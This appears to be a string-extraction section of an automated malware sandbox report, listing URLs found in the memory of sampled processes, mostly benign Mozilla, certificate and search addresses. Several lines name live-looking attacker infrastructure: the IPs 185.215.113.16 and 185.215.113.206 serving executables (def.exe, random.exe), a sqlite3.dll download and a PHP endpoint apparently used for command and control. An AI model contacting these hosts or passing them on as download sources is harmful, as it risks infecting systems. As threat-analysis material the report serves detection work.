Source: 0db0ccc3ed.exe, 0000000D.00000003.3196186988.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3198134724.00000000016FD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3255098795.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3271789752.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 0db0ccc3ed.exe, 0000000D.00000003.3196186988.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3198134724.00000000016FD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3255098795.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3271789752.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exed4~
Source: 0db0ccc3ed.exe, 0000000D.00000002.3266109589.00000000012FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: 0db0ccc3ed.exe, 0000000D.00000003.3196186988.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3198134724.00000000016FD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3255098795.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3271789752.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 0db0ccc3ed.exe, 0000000D.00000003.3196186988.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3198134724.00000000016FD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3255098795.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3271789752.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exef
Source: 0db0ccc3ed.exe, 0000000D.00000003.3193155774.0000000001658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: e01d8601b1.exe, 00000009.00000002.3146940575.000000000170E000.00000004.00000020.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000B27000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A75000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A8F000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A44000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206
Source: e01d8601b1.exe, 00000009.00000002.3146940575.0000000001768000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: e01d8601b1.exe, 00000009.00000002.3146940575.000000000170E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: e01d8601b1.exe, 00000009.00000002.3146940575.0000000001782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dlla;
Source: e01d8601b1.exe, 00000009.00000002.3146940575.0000000001768000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/X
Source: e01d8601b1.exe, 00000009.00000002.3146940575.0000000001754000.00000004.00000020.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A8F000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A44000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: e01d8601b1.exe, 00000009.00000002.3146940575.0000000001754000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php4
Source: e01d8601b1.exe, 00000009.00000002.3139427650.0000000000B27000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A8F000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A44000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A44000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: e01d8601b1.exe, 00000009.00000002.3139427650.0000000000B27000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpser
Source: e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A44000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.20668b591d6548ec281/sqlite3.dllm-data;
Source: e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A44000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206DBA
Source: e01d8601b1.exe, 00000009.00000002.3139427650.0000000000B27000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A75000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A8F000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A44000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: e01d8601b1.exe, 00000009.00000002.3146940575.000000000170E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206j:
Source: firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001B.00000002.2955455615.00000177E897D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sCan
Source: 0db0ccc3ed.exe, 00000008.00000003.2633170416.0000000001162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microX;
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001B.00000002.3070463409.00000177F4763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3048220531.00000177EF489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001B.00000002.3048220531.00000177EF489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2998387664.00000177ECDAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001B.00000002.3009925058.00000177ED6C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001B.00000002.2948268507.00000177DCA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsP
Source: firefox.exe, 0000001B.00000002.3022413447.00000177EDBA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001B.00000002.3099709465.0000079773C6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2890043563.00000177F6EA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2914517271.00000177F4A22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2992696524.00000177EC807000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911201002.00000177F499D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042638939.00000177EECA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3072915751.00000177F48A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2985808514.00000177EAF53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3048220531.00000177EF470000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2811129834.00000177ECBFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2917306690.00000177F4890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2997489984.00000177ECBFA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2809616338.00000177ECBD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001B.00000002.2955455615.00000177E897D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/JSONFile.sys.mjshttp://compose.mail.yah
Source: firefox.exe, 0000001B.00000002.3070463409.00000177F4763000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001B.00000003.2917306690.00000177F4890000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001B.00000002.3070463409.00000177F4763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2917306690.00000177F4890000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001B.00000002.2955455615.00000177E897D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2955455615.00000177E897D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: 0db0ccc3ed.exe, 0000000D.00000003.2943309001.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2892269661.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2977883824.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2998383115.0000000001671000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: firefox.exe, 0000001B.00000003.2901788268.00000177F6F84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2906934556.00000177ED29B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3007525664.00000177ED29B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3045378523.00000177EEDD6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8CB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D9F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEA87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2984875873.00000177EAE33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-in
Source: firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/search
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001B.00000002.3045378523.00000177EED9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuln
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/InlineSpellCheck
Source: e01d8601b1.exe, 00000009.00000002.3189118767.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, e01d8601b1.exe, 00000009.00000002.3183701298.000000001D970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2917306690.00000177F4890000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2917306690.00000177F4890000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001B.00000002.3004177440.00000177ECF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.3023322384.00000177EE119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2801463049.00000177EC877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/---
Source: 0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001B.00000003.2917306690.00000177F48BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001B.00000002.3072129064.00000177F4821000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2921058140.0000002D819D8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2901788268.00000177F6F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.2948268507.00000177DCAD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3108270091.00003B1055F04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001B.00000002.3004177440.00000177ECF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001B.00000002.3108270091.00003B1055F04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 0db0ccc3ed.exe, 0000000D.00000003.2920033853.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 0db0ccc3ed.exe, 0db0ccc3ed.exe, 0000000D.00000003.2998383115.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2943309001.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2977883824.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001B.00000002.3036842521.00000177EE76A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001B.00000002.3004177440.00000177ECF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2801463049.00000177EC877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001B.00000002.3020225670.00000177EDAFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001B.00000002.3017812994.00000177EDA40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 0db0ccc3ed.exe, 0000000D.00000003.2920033853.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 0db0ccc3ed.exe	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOY
